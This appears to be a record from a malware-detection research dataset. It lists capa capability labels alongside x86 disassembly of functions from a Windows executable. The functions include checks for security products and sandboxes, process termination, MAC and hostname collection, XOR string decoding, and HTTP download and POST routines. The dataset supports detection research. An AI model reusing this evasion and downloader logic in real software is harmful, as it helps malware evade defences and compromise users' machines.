joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403c10
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437e9b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x441480]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00420795
push 4
mov dword [ebp - 4], 0
call fcn.00422769
mov edi, eax
add esp, 4
test edi, edi
je 0x403c8c
call fcn.00420590
mov dword [edi], eax
call fcn.0042034f
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00420756
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x403c82
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0042077e
jmp 0x403c8e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404300
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437ddb
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
lea eax, [ebp - 0x424]
push eax
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0x424], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4044f3
cmp byte [0x444a85], 0
mov dword [ebp - 0x414], esi
jne 0x40436b
call fcn.004060f0
mov byte [0x444a85], 1
mov ecx, dword [0x444b3c]
mov eax, dword [ecx + 0x8c]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x428], esi
test esi, esi
je 0x4044ed
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x4044e6
push 1
push 0x400000
push 0
push 0
push 0
push ebx
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4044df
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x4044d8
push 1
call fcn.00422819
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], eax
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4044b6
mov edi, dword [ebp - 0x414]
test edi, edi
je 0x404472
lea ecx, [ebp - 0x410]
push ecx
lea esi, [ebp - 0x420]
mov byte [ebp + edi - 0x410], 0
call fcn.004050e0
lea edx, [ebp - 0x414]
push edx
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404430
mov eax, dword [ebp - 0x41c]
test eax, eax
jle 0x4044aa
inc eax
push eax
call fcn.0041ff97
mov esi, dword [ebp - 0x420]
mov edx, eax
add esp, 4
mov dword [ebp - 0x414], edx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404498
mov edi, dword [ebp - 0x418]
jmp 0x4044c9
mov esi, dword [ebp - 0x420]
mov edi, dword [ebp - 0x418]
push 8
call fcn.0041ff97
add esp, 4
mov dword [ebp - 0x414], eax
mov byte [eax], 0
push esi
call fcn.004214f1
mov esi, dword [ebp - 0x428]
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret
Function at 0x404510
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
lea ecx, [ebp - 0x414]
push ecx
mov dword [ebp - 0x408], eax
mov ebx, edx
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x40455e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420bc6
mov esp, ebp
pop ebp
ret
push ebx
mov dword [ebp - 0x40c], edi
call fcn.004227e9
add esp, 4
cmp byte [0x444a85], 0
jne 0x404582
call fcn.004060f0
mov byte [0x444a85], 1
mov edx, dword [0x444b3c]
mov eax, dword [edx + 0x8c]
push edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x40469b
push 1
push 0
push 3
push 0
push 0
push 0x50
push esi
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x410], esi
test esi, esi
je 0x404694
mov eax, dword [ebp - 0x408]
push 1
push 0x400000
push 0
push 0
push 0
push eax
push 0x43c484
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x404687
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x404680
push 0x43c304
push ebx
mov dword [ebp - 0x40c], 1
call fcn.00421d73
mov esi, eax
add esp, 8
test esi, esi
je 0x40467a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, edi
lea ecx, [ebp - 0x408]
push ecx
push 0x3ff
lea edx, [ebp - 0x404]
push edx
push edi
call ebx
test eax, eax
je 0x404671
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404671
push esi
push eax
mov byte [ebp + eax - 0x404], 0
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.004222be
add esp, 0x10
jmp 0x404630
push esi
call fcn.004226f5
add esp, 4
mov esi, dword [ebp - 0x410]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x418]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x40c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420bc6
mov esp, ebp
pop ebp
ret
Function at 0x404910
Capabilities:
Check if file exists
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, edx
push esi
mov edi, ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40493b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
lea ebx, [esp + 0x10]
mov dword [esp + 0x10], 0
call fcn.00401db0
mov esi, eax
add esp, 4
test esi, esi
je 0x404932
push 0
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x404983
push esi
xor edi, edi
call fcn.00420c59
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x18]
push eax
push esi
mov ecx, edi
call fcn.004046c0
add esp, 0xc
push esi
mov edi, eax
call fcn.00420c59
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404bb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x404bd0
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push 3
push 1
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x404bff
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
je 0x404bff
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x404c0e
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebx + 4]
push edi
push esi
call fcn.0041ff97
add esp, 4
mov edi, eax
test esi, esi
je 0x404c34
mov ecx, dword [ebp - 4]
sub ecx, edi
mov edx, esi
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x404c28
mov ebx, dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeResource]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov edx, dword [ebp + 8]
mov eax, edi
pop edi
pop ebx
mov dword [edx], esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404dc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, eax
mov eax, dword [ebp + 8]
push edi
push eax
mov eax, esi
call fcn.00404d40
mov ebx, eax
add esp, 4
test ebx, ebx
jle 0x404e3f
mov ecx, dword [ebp + 0xc]
push 0x43c2fc
push ecx
call fcn.00421d73
mov edi, eax
add esp, 8
test edi, edi
je 0x404e1d
push 2
push 0
push edi
call fcn.004225bb
add esp, 0xc
push edi
call fcn.004224cc
add esp, 4
push edi
mov dword [ebp - 0x10], eax
call fcn.004226f5
mov eax, dword [ebp - 0x10]
add esp, 4
jmp 0x404e1f
xor eax, eax
cmp ebx, eax
je 0x404f6c
mov ecx, dword [ebp + 8]
push 0
push esi
mov eax, esi
call fcn.00404f80
add esp, 8
test al, al
je 0x404f6c
mov edx, dword [ebp + 0xc]
push edx
lea ebx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00401db0
add esp, 4
push esi
lea ebx, [ebp - 0xc]
mov edi, eax
mov dword [ebp - 0xc], 0
call fcn.00401db0
mov ebx, eax
lea eax, [ebp - 8]
add esp, 4
push eax
mov eax, esi
mov dword [ebp - 8], 0
call fcn.00404bb0
mov ecx, dword [ebp + 0x10]
add esp, 4
push 0x43c304
push ecx
mov dword [ebp - 0x10], eax
call fcn.00421d73
mov esi, eax
add esp, 8
test esi, esi
je 0x404f42
test edi, edi
je 0x404eb9
mov edx, dword [ebp - 4]
push esi
push edx
push 1
push edi
call fcn.004222be
push edi
call fcn.00420c59
add esp, 0x14
push esi
call fcn.004226f5
mov esi, dword [ebp - 0x10]
add esp, 4
test esi, esi
je 0x404edf
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp + 0x10]
push esi
call fcn.00404c60
push esi
call fcn.00420c59
add esp, 0xc
mov ecx, dword [ebp + 0x10]
push 0x43c564
push ecx
call fcn.00421d73
mov esi, eax
add esp, 8
test esi, esi
je 0x404f39
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404f00
push esi
sub eax, edx
push eax
push 1
push edi
call fcn.004222be
add esp, 0x10
test ebx, ebx
je 0x404f30
mov edx, dword [ebp - 0xc]
push esi
push edx
push 1
push ebx
call fcn.004222be
push ebx
call fcn.00420c59
add esp, 0x14
push esi
call fcn.004226f5
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x404f4f
push edi
call fcn.00420c59
add esp, 4
test ebx, ebx
je 0x404f5c
push ebx
call fcn.00420c59
add esp, 4
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x404f6c
push eax
call fcn.00420c59
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404f80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push eax
lea ebx, [ebp - 4]
mov esi, ecx
mov dword [ebp - 4], 0
call fcn.00401db0
mov ecx, dword [ebp - 4]
add esp, 4
mov edi, eax
push 1
push edi
mov ebx, esi
call fcn.00405200
mov ebx, eax
add esp, 8
test ebx, ebx
jns 0x404fd2
mov eax, esi
lea edx, [eax + 1]
jmp 0x404fc0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404fc0
mov ecx, dword [ebp - 4]
sub eax, edx
sub ecx, eax
cmp ebx, ecx
jge 0x405044
mov edx, dword [ebp + 8]
push 0x43c304
push edx
call fcn.00421d73
mov edx, eax
add esp, 8
mov dword [ebp - 8], edx
test edx, edx
je 0x405044
cmp byte [ebp + 0xc], 0
jne 0x405008
mov eax, esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404ff7
sub eax, esi
lea esi, [eax + ebx]
mov ebx, dword [ebp - 4]
jmp 0x40500a
xor esi, esi
cmp esi, ebx
jge 0x405029
mov edi, edi
push edx
push 1
lea eax, [esi + edi]
push 1
push eax
call fcn.004222be
mov edx, dword [ebp - 8]
inc esi
add esp, 0x10
cmp esi, ebx
jl 0x405010
push edx
call fcn.004226f5
add esp, 4
push edi
call fcn.00420c59
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call fcn.00420c59
add esp, 4
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4053d0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x288
mov dword [ebp - 4], 4
call fcn.00422819
mov esi, eax
add esp, 4
test esi, esi
jne 0x4053f4
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea eax, [ebp - 4]
push eax
push esi
call edi
cmp eax, 0x6f
jne 0x405419
mov ecx, dword [ebp - 4]
push ecx
call fcn.00422819
mov esi, eax
add esp, 4
test esi, esi
je 0x40548a
lea edx, [ebp - 4]
push edx
push esi
call edi
test eax, eax
jne 0x40547d
test esi, esi
je 0x40548a
push 0x10
call fcn.0041ff97
movzx ecx, byte [esi + 0x198]
movzx edx, byte [esi + 0x197]
mov edi, eax
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x196]
push ecx
movzx ecx, byte [esi + 0x195]
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push edi
call fcn.00420bd5
push esi
call fcn.004214f1
add esp, 0x28
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x40548a
push esi
call fcn.004214f1
add esp, 4
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4054a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x441480]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.DLL_Process32First]
test eax, eax
je 0x4055b1
mov edi, dword [sym.imp.KERNEL32.DLL_OpenProcess]
jmp 0x4054e0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4054f0
sub eax, edx
inc eax
push eax
call fcn.0041ff97
mov esi, eax
lea eax, [ebp - 0x110]
mov edx, esi
mov ecx, eax
add esp, 4
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x405511
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405520
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x405546
mov al, byte [ecx + esi]
cmp al, 0x41
jl 0x405541
cmp al, 0x5a
jg 0x405541
add al, 0x20
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jl 0x405531
mov ecx, dword [ebp + 8]
mov eax, esi
jmp 0x405550
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405570
test dl, dl
je 0x40556c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405570
add eax, 2
add ecx, 2
test dl, dl
jne 0x405550
xor eax, eax
jmp 0x405575
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x405592
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call edi
test eax, eax
je 0x405592
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call fcn.00420c59
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_Process32Next]
test eax, eax
jne 0x4054e0
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.00420bc6
mov esp, ebp
pop ebp
ret

Function at 0x4055d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x184
push 0
push esi
xor bl, bl
call fcn.00429890
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x405634
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40562a
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405f40
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x444a84], 0
jne 0x405fec
push ebx
call fcn.004053d0
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x405f6d
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405f64
sub eax, edx
add eax, 0x104
push eax
call fcn.0041ff97
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x444a58], eax
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
test ebx, ebx
je 0x405fe4
mov ecx, dword [0x444a58]
push esi
push edi
lea edi, [ecx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405fa1
mov dx, word [0x43c7b0]
mov eax, ebx
mov word [edi], dx
mov esi, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405fb7
sub eax, esi
lea edi, [ecx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405fc3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.00420c59
add esp, 4
pop edi
pop esi
mov byte [0x444a84], 1
pop ebx
mov eax, dword [0x444a58]
mov esp, ebp
pop ebp
ret

Function at 0x406000
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x43c2fc
push eax
call fcn.00421d73
mov esi, eax
add esp, 8
test esi, esi
je 0x4060e1
push ebx
push edi
push 2
push 0
push esi
call fcn.004225bb
push esi
call fcn.004224cc
mov edi, eax
push edi
call fcn.0041ff97
push 0
push 0
push esi
mov dword [ebp - 4], eax
call fcn.004225bb
add esp, 0x20
xor ebx, ebx
test edi, edi
jle 0x406076
lea ecx, [ecx]
push esi
call fcn.00420fbc
add esp, 4
test eax, eax
jne 0x406076
mov ecx, dword [ebp - 4]
push esi
push 1
lea edx, [ebx + ecx]
push 1
push edx
call fcn.004220ca
inc ebx
add esp, 0x10
cmp ebx, edi
jl 0x406050
push esi
call fcn.004226f5
add esp, 4
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x4060a2
cmp ecx, dword [ebp + 0x10]
jl 0x40608e
xor ecx, ecx
mov edx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov esi, dword [ebp - 4]
neg dl
xor byte [eax + esi], dl
inc eax
inc ecx
cmp eax, edi
jl 0x406087
mov eax, dword [ebp + 8]
push 0x43c304
push eax
call fcn.00421d73
mov esi, eax
add esp, 8
test esi, esi
je 0x4060d8
mov ecx, dword [ebp - 4]
push esi
push edi
push 1
push ecx
call fcn.004222be
push esi
call fcn.004226f5
add esp, 0x14
pop edi
pop ebx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4060f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, 0x43d734
mov dword [ebp - 8], 0
mov eax, dword [ebx]
inc eax
push eax
call fcn.0041ff97
mov edi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 4], edi
cmp dword [ebx], eax
jbe 0x406132
lea esp, [esp]
mov ecx, dword [ebx + 4]
mov dl, byte [ecx + eax]
xor dl, byte [ebx - 4]
inc eax
mov byte [eax + edi - 1], dl
cmp eax, dword [ebx]
jb 0x406120
mov byte [eax + edi], 0
mov ecx, dword [0x444b40]
mov edx, dword [0x444b3c]
lea eax, [ebp - 4]
cmp eax, ecx
jae 0x4061b9
cmp edx, eax
ja 0x4061b9
mov esi, dword [0x444b44]
mov edi, eax
sub edi, edx
sar edi, 2
cmp ecx, esi
jne 0x4061ae
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40623c
sub esi, edx
inc eax
sar esi, 2
cmp eax, esi
jbe 0x4061ae
mov ecx, esi
mov edx, ecx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x40618f
xor ecx, ecx
jmp 0x406191
add ecx, edx
cmp ecx, eax
jae 0x406197
mov ecx, eax
push ecx
mov esi, 0x444b3c
call fcn.00406280
mov ecx, dword [0x444b40]
mov edx, dword [0x444b3c]
test ecx, ecx
je 0x406215
mov edx, dword [edx + edi*4]
mov dword [ecx], edx
jmp 0x40620f
mov esi, dword [0x444b44]
cmp ecx, esi
jne 0x406209
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40623c
sub esi, edx
mov edx, esi
inc eax
sar edx, 2
cmp eax, edx
jbe 0x406209
mov ecx, edx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x4061f0
xor ecx, ecx
jmp 0x4061f2
add ecx, edx
cmp ecx, eax
jae 0x4061f8
mov ecx, eax
push ecx
mov esi, 0x444b3c
call fcn.00406280
mov ecx, dword [0x444b40]
test ecx, ecx
je 0x406215
mov dword [ecx], edi
mov ecx, dword [0x444b40]
mov eax, dword [ebp - 8]
add eax, 0xc
add ecx, 4
add ebx, 0xc
mov dword [0x444b40], ecx
mov dword [ebp - 8], eax
cmp eax, 0x1e0
jb 0x406105
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call fcn.00420641
int3
Function at 0x4076e0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push esi
push edi
push str.PROGRAMFILES
call fcn.00420d1e
mov esi, eax
push str.SYSTEMDRIVE
mov dword [ebp - 4], esi
call fcn.00420d1e
mov edi, eax
mov eax, esi
add esp, 8
mov dword [ebp - 8], edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407710
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407720
sub eax, esi
lea eax, [eax + edx + 0x80]
push ebx
push eax
call fcn.0041ff97
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
mov esi, eax
mov dword [ebp - 0x48], str.Agnitum
mov dword [ebp - 0x44], str.COMODO
mov dword [ebp - 0x40], str.Zone_Labs
mov dword [ebp - 0x3c], str.AtGuard
mov dword [ebp - 0x38], str.kerioWinRoute_Firewall
mov dword [ebp - 0x34], str.Norton_Internet_Security
mov dword [ebp - 0x30], str.Sygate
mov dword [ebp - 0x2c], str.ISSBlackICE
mov dword [ebp - 0x28], str.VisNetic_Firewall
mov dword [ebp - 0x24], str.Soft4Everlooknstop
mov dword [ebp - 0x20], str.Kaspersky_LabKaspersky_Anti_Hacker
mov dword [ebp - 0x1c], str.Tiny_Personal_Firewall
mov dword [ebp - 0x18], str.McAfeeMPF
xor edi, edi
nop
mov ecx, dword [ebp + edi*4 - 0x48]
mov edx, dword [ebp - 4]
push ecx
push edx
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x4077c6
inc edi
cmp edi, 0xd
jl 0x4077a0
jmp 0x4077cd
mov byte [0x444a86], 1
mov dword [ebp - 0x14], str.VSAMAS
mov dword [ebp - 0x10], str.cwsandbox
mov dword [ebp - 0xc], str.WindowsSystem32_aswcmdasw.exe
xor edi, edi
mov eax, dword [ebp + edi*4 - 0x14]
mov ecx, dword [ebp - 8]
push eax
push ecx
push 0x43c26c
push esi
call fcn.00420bd5
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x407818
inc edi
cmp edi, 3
jl 0x4077e4
pop ebx
push esi
call fcn.00420c59
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.00420c59
add esp, 4
push 0
call fcn.00423277
int3